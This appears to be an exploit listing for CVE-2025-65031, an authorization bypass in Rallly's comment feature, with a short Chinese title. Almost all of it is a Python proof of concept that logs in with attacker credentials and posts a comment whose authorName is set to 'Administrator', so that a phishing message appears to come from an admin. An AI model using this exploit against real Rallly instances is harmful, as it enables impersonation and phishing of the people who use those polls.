CVE-2025-65031 Rallly评论功能授权绕过漏洞

import requests import json # CVE-2025-65031 PoC - Rallly Authorization Bypass via authorName Manipulation # Target: Rallly < 4.5.4 TARGET_URL = "http://target.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "attacker_password" EVENT_ID = "target-event-id" def exploit(): # Step 1: Login to get session session = requests.Session() login_data = { "email": LOGIN_EMAIL, "password": LOGIN_PASSWORD } session.post(f"{TARGET_URL}/api/auth/login", json=login_data) # Step 2: Create comment as administrator (impersonation) comment_data = { "eventId": EVENT_ID, "authorName": "Administrator", # Impersonate admin user "content": "This is a phishing message" } response = session.post( f"{TARGET_URL}/api/comments", json=comment_data ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": exploit()